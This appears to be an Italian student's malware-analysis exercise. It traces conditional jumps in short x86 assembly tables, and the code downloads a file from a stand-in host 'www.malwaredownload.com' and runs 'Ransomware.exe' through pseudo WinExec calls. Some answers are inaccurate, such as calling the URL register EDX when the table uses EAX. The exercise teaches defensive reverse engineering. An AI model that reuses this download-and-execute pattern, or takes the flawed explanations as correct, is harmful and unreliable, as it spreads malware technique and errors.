Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Quale salto condizionale viene eseguito riferendosi al seguente codice ?

Analizzando il seguente codice assembly , noto che il salto condizionale 1 (jnz) non viene eseguito poichè il risultato deve essere diverso da zero ma nel nostro caso il risultato è uguale a 0 (cmp EAX,5 --> 5-5 = 0), quindi viene eseguito l'else successivo il quale esegue le operazioni della tabella 3.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verdei salti effettuati, mentre con una linea rossai salti non effettuati

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Quali sono le diverse funzionalità implementate all'interno del Malware?

Il programma in questione tenta di scaricare un file malevolo (malware) da internet e scaricarlo in una determinata location (folder path) per poi eseguirlo, una volta eseguito, viene lanciata la funzione winExec() la quale crea un nuovo processo. Se il primo salto condizionale fallisce, il file si trova probabilmente già nella folder path, e quindi può essere eseguito.

Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

EDI è il registro di indice di destinazione ed è spesso utilizzato come puntatore a una destinazione in operazioni di copia o di scrittura dei dati.

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

L'argomento passato alla funzione DownloadToFile è l'url del sito dove scaricare il malware. Questo valore viene salvato all'interno del registro EDX e recuperato dal registro EDI.

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

In questo caso viene eseguita la funzione recuperando la location path del programma che si trova nel registro EDX ottenuta per mezzo del registro EDI, una volta eseguito il programma si avvia per mezzo di un nuovo processo avviato dalla funzione WinExec()